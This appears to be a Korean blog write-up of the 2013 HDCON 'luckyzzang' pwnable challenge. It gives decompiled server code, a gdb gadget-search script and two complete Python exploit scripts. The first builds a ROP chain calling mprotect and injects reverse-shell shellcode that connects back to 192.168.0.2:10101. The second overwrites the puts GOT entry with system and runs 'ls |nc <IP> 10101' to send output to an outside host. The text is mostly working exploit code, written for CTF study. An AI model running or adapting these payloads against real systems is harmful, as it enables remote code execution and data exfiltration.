본문 바로가기

Security

[Pwnable] 2013 HDCON 5번 luckyzzang exploit


readellf를 통해 header를 확인하면 32-bit elf 파일이란 것을 확인 할 수 있다.

hexray를 이용하여 소스들을 확인할 수 있다.

main.c
int __cdecl main()
{
                 signed int v1; // [sp+2Ch] [bp-4h]@4

                sockfd = socket(2, 1, 0);
                 if ( sockfd == -1 )
                {
                                perror( "socket");
                                exit(1);
                }
                my_addr.sa_family = 2;
                *(_WORD *)&my_addr.sa_data[0] = htons(7777u);
                *(_DWORD *)&my_addr.sa_data[2] = 0;
                *(_DWORD *)&my_addr.sa_data[6] = 0;
                *(_DWORD *)&my_addr.sa_data[10] = 0;
                v1 = 1;
                setsockopt(sockfd, 1, 2, &v1, 4u);
                 if ( bind(sockfd, &my_addr, 16u) == -1 )
                {
                                perror( "bind");
                                exit(1);
                }
                 if ( listen(sockfd, 100) == -1 )
                {
                                perror( "listen");
                                exit(1);
                }
                puts( "Way to go!");
                 while ( 1 )
                {
                                 while ( 1 )
                                {
                                                sin_size = 16;
                                                client_fd = accept(sockfd, &their_addr, &sin_size);
                                                 if ( client_fd != -1 )
                                                                 break;
                                                perror( "accept");
                                }
                                 if ( !fork() )
                                                 break;
                                close(client_fd);
                                 while ( waitpid(-1, 0, 1) > 0 )
                                                ;
                }
                func(client_fd);
                return close(client_fd);
}

main의 소스는 단순히 소켓 통신을 위한 코드들이고 내부에 func이라고 이름 지은 함수 내부에 중요한 코드들이 존재한다.

func.c
ssize_t __cdecl func( int fd )
{
                 unsigned int v1; // eax@1
                 int v2; // eax@1
                 char buf; // [sp+10h] [bp-408h]@1

                v1 = time(0);
                srand(v1);
                puts( "Client has connected successfully :)" );
                send( fd, "MSG : " , 6u, 0);
                memset(&buf, 0, 1024u);
                v2 = rand();
                 return recv(fd , &buf, v2 % 100 + 1025, 0);
}

내부 코드들은 정말 단순하다. "MSG: " 문자열을 client 측으로 send 하고 단순히 rand()함수를 이용하여 나온 값 만큼 recv 함수를 통해 받는다.

2개의 공격 방법이 존재한다. 

mprotect 함수를 이용하여 stack 영역에 실행 권한을 할당하고 shellcode를 실행하는 방법이다.
[buffer] [SFP] [RET]
[    dummy    ] [send.plt] [ppppr] [fd] [puts.got] [4] [0] [recv.plt] [ppppr] [fd] [puts.got] [4] [0] [recv.plt] [ppppr] [fd] [customstack] [len(shellcode)] [0] [puts.got(mprotect)] [pppr] [customstack] [len(shellcode)] [0x07(rwx)] [customstack]

ROP를 이용하여 puts got에 offset을 이용하여 system 주소를 덮어쓰고 고정 영역인 bss 부분에 명령어를 넣어 puts.plt를 이용하여 system 함수를 실행시킨다.
[SFP] [RET]
         [send.plt] [ppppr] [fd] [puts.got] [4] [0] [recv.plt] [ppppr] [fd] [bss] [size] [0] [recv.plt] [ppppr] [fd] [puts.got] [4] [0] [puts.plt] [ppppr] [bss]

방법 1

send.plt

gdb에 스크립트를 이용하여 ppppr 부분이 있는지 조사
set height 0
b *main
commands 1
set $start = (unsigned char *)0x8048620
while ( 1 )
if (*$start == 0xc3)
printf "%#x\n", $start
x/5i $start-4
end
set $start = $start+1
end
end


puts.got와 puts.plt를 구한다

recv.plt

offset = mprotect - puts = 0x84700
]

bss 영역(필요 없...)

shellcode(192.168.0.2 10101)
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89
\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd
\x80\x49\x79\xf9\x68\xc0\xa8\xce\x82\x68
\x02\x00\x27\x75\x89\xe1\xb0\x66\x50\x51
\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

필요한 영역의 주소들을 다 구한 후 python 스크립트를 이용하여 공격 코드를 작성한다.

#!/usr/bin/python

from struct import *
from socket import *
import time

HOST = 'localhost'
PORT = 7777

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))

sendplt = 0x8048610
recvplt = 0x80485f0
putsplt = 0x8048550

putsgot = 0x804a018

ppppr = 0x80489cc
pppr = 0x0804878d

bss = 0x804a054
customstack = 0xbf8f5000

offset = 0x84700

shellcode = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89
\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd
\x80\x49\x79\xf9\x68\xc0\xa8\xce\x82\x68
\x02\x00\x27\x75\x89\xe1\xb0\x66\x50\x51
\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

fd = 4
dummy = '\x90'*1036

data = sock.recv(1024)
print data
#data = raw_input()
payload = dummy + pack("<I", sendplt) + pack( "<I", ppppr) + pack("<I" , fd) + pack("<I", putsgot) + pack("<I" , 0x04) + pack("<I", 0x00) + pack( "<I", recvplt) + pack("<I", ppppr) + pack("<I" , fd) + pack("<I", putsgot) + pack( "<I", 0x04) + pack("<I", 0x00) + pack("<I" , recvplt) + pack("<I", ppppr) + pack( "<I", fd) + pack("<I", customstack) + pack("<I" , len(shellcode)) + pack("<I", 0x00) + pack("<I", putsplt) + pack("<I" , pppr) + pack("<I", customstack) + pack( "<I", 0x10101) + pack("<I" , 0x07) + pack("<I", customstack)

print len(payload)
#data = raw_input()

sock.send(payload)

#puts = unpack("<I", sock.recv(4))[0]
puts = sock.recv(1024)
puts = unpack("<I", puts)[0]
print "puts addr %#x" % puts
mprotect = puts + offset
print "mprotect addr %#x" % mprotect

mprotect = pack("<I", mprotect)

#time.sleep(1)

sock.send(mprotect)
#sock.settimeout(0.1)
sock.send(shellcode)
sock.close()

성공


*하지만 이 방법은 recv 사이즈가 1025 ~ 1034인데 반해 payload의 크기가 1132 bytes라 성공 확률이 2% 이내로 되어 매우 낮다고 볼 수 있다. 실제 대회 때 5시간 넘게 해야 될지도...

방법 2

두 번째 방법은 ROP를 이용하는 방법이다. send.plt를 통해 puts.got 값을 가져와 offset으로 system 주소를 만들고 bss 영역에 system 함수에 넣을 명령어를 넣고 puts.plt로 실행한다.

# !/usr/bin/python
import time
from socket import *
from struct import *

HOST = 'localhost'
PORT = 7777

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))

pppr = 0x804878d
ppppr = 0x80489cc
recv_plt = 0x80485f0
puts_plt = 0x8048550
puts_got = 0x804a018
send_plt = 0x8048610

offset = 0x26cf0

bss = 0x804a054

cmd = "ls |nc <IP> 10101"

dummy = "\x90"*1036

data = sock.recv(1024)
print data

payload = dummy + pack( "<I", send_plt) + pack( "<I" , ppppr) + pack("<I" , 0x04) + pack( "<I", puts_got) + pack("<I" , 0x04) + pack( "<I", 0) + pack( "<I" , recv_plt) + pack("<I" , ppppr) + pack( "<I", 0x04) + pack( "<I" , bss) + pack("<I" , 1024) + pack( "<I", 0) + pack( "<I" , recv_plt) + pack("<I" , ppppr) + pack( "<I", 0x04) + pack("<I" , puts_got) + pack( "<I", 0x04) + pack( "<I" , 0x00) + pack("<I" , puts_plt) + pack( "<I", 0x90909090) + pack("<I" , bss)

#print payload

#data = raw_input()

sock.send(payload)

puts = sock.recv(1024)
print "puts : %#x" %unpack( "<I" , puts)[0]
system = unpack( "<I", puts)[0] - offset
print "system : %#x" % system
system = pack( "<I", system)

#print "%#x" % unpack( "<I" , data)[0]

sock.send(cmd)
time.sleep(1)
sock.send(system)

sock.close()

성공


'Security' 카테고리의 다른 글

[Pwnable] root-me.org/Hardened binary 1  (0) 2014.01.22
[Pwnable] Exploit Exercises  (0) 2013.08.09
[ Pwnable ] SIS/System 3  (0) 2013.04.01
[ Pwnable ] SIS / System 2  (0) 2013.04.01
[ Pwnable ] SIS / System 1  (0) 2013.04.01